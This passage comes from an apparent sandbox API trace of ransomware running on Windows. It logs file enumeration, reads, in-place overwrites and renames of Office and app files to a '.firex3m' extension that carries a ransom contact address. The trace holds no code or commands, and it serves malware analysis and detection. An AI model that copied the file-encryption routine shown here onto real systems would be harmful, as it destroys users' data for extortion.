lpNewFilePointer=0x0) returned 1 [0253.833] WriteFile (in: hFile=0x6d4, lpBuffer=0x74dc4b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74dc4b0*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.834] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.834] WriteFile (in: hFile=0x6d4, lpBuffer=0x74e78af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74e78af*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.364] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.364] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.364] CloseHandle (hObject=0x6d4) returned 1 [0254.364] GetProcessHeap () returned 0x630000 [0254.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74dc4b0 | out: hHeap=0x630000) returned 1 [0254.365] GetProcessHeap () returned 0x630000 [0254.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f87c30 | out: hHeap=0x630000) returned 1 [0254.365] GetProcessHeap () returned 0x630000 [0254.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0254.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d8f01cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe64fe, dwReserved0=0x9a87496, dwReserved1=0x6f87c28, cFileName="MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1EN~1.FIR")) returned 0x6d51c0 [0254.389] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.389] Sleep (dwMilliseconds=0x1) [0254.405] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-100.png", len=0xa7 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-100.png") returned 1 [0254.405] GetProcessHeap () returned 0x630000 [0254.405] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0254.405] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.413] Sleep (dwMilliseconds=0x1) [0255.818] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF", len=0x6c | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF") returned 1 [0255.818] GetProcessHeap () returned 0x630000 [0255.818] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d28) returned 0x6fe3bb0 [0255.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0257.871] CloseHandle (hObject=0x694) returned 1 [0257.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LAYERS~1.FIR")) returned 0x6d51c0 [0257.877] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0257.877] GetProcessHeap () returned 0x630000 [0257.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706bf90 [0257.877] GetProcessHeap () returned 0x630000 [0257.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706bb00 [0257.877] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.877] ReadFile (in: hFile=0x694, lpBuffer=0x706bf90, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bf90*, lpNumberOfBytesRead=0x687ff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.880] GetProcessHeap () returned 0x630000 [0257.880] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0257.880] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.880] WriteFile (in: hFile=0x694, lpBuffer=0x706bb00*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bb00*, lpNumberOfBytesWritten=0x687ff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.881] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.881] WriteFile (in: hFile=0x694, lpBuffer=0x706bcff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706bcff*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.881] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.881] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.881] CloseHandle (hObject=0x694) returned 1 [0258.385] GetProcessHeap () returned 0x630000 [0258.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706bb00 | out: hHeap=0x630000) returned 1 [0258.385] GetProcessHeap () returned 0x630000 [0258.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706bf90 | out: hHeap=0x630000) returned 1 [0258.385] GetProcessHeap () returned 0x630000 [0258.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0258.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0258.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fa774cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x687fd20, dwReserved1=0x706bf90, cFileName="LAYERS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LAYERS~1.FIR")) returned 0x6d51c0 [0259.956] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0259.956] Sleep (dwMilliseconds=0x1) [0261.966] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\32.jpg", len=0x7c | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\32.jpg") returned 1 [0261.966] GetProcessHeap () returned 0x630000 [0261.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db4) returned 0x6fe3bb0 [0261.966] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\32.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.967] Sleep (dwMilliseconds=0x1) [0263.412] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\194.png", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\194.png") returned 1 [0263.412] GetProcessHeap () returned 0x630000 [0263.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d04) returned 0x6fe3bb0 [0263.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\194.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\194.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.416] Sleep (dwMilliseconds=0x1) [0263.429] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\191.png", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\191.png") returned 1 [0263.429] GetProcessHeap () returned 0x630000 [0263.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf8) returned 0x6fe3bb0 [0263.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\191.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\191.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.431] Sleep (dwMilliseconds=0x1) [0263.443] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\189.png", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\189.png") returned 1 [0263.443] GetProcessHeap () returned 0x630000 [0263.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf0) returned 0x6fe3bb0 [0263.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\189.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\189.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.445] Sleep (dwMilliseconds=0x1) [0263.461] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\186.png", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\186.png") returned 1 [0263.461] GetProcessHeap () returned 0x630000 [0263.461] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0263.461] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\186.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\186.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.463] Sleep (dwMilliseconds=0x1) [0263.475] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\185.png", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\185.png") returned 1 [0263.475] GetProcessHeap () returned 0x630000 [0263.475] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce0) returned 0x6fe3bb0 [0263.476] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\185.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\185.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.481] Sleep (dwMilliseconds=0x1) [0264.597] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF", len=0x6b | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF") returned 1 [0264.597] GetProcessHeap () returned 0x630000 [0264.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c24) returned 0x6fe3bb0 [0264.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0264.761] CloseHandle (hObject=0x69c) returned 1 [0264.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0264.844] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0264.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0264.889] GetProcessHeap () returned 0x630000 [0264.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x681d78 [0264.889] GetProcessHeap () returned 0x630000 [0264.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x73b5250 [0264.890] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.890] ReadFile (in: hFile=0x694, lpBuffer=0x681d78, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x687ff0c*=0xb20, lpOverlapped=0x0) returned 1 [0264.903] GetProcessHeap () returned 0x630000 [0264.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0264.904] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.904] WriteFile (in: hFile=0x694, lpBuffer=0x73b5250*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5250*, lpNumberOfBytesWritten=0x687ff0c*=0xb20, lpOverlapped=0x0) returned 1 [0264.904] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.904] WriteFile (in: hFile=0x694, lpBuffer=0x73b5d6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5d6f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.904] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.904] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.904] CloseHandle (hObject=0x694) returned 1 [0264.904] GetProcessHeap () returned 0x630000 [0264.905] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b5250 | out: hHeap=0x630000) returned 1 [0264.905] GetProcessHeap () returned 0x630000 [0264.905] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0264.905] GetProcessHeap () returned 0x630000 [0264.905] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0264.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63d91080, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb44, dwReserved0=0x9a87496, dwReserved1=0x681d70, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0264.905] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0264.905] Sleep (dwMilliseconds=0x1) [0264.920] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", len=0x6c | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 1 [0264.920] GetProcessHeap () returned 0x630000 [0264.920] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf8) returned 0x6fe3bb0 [0264.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 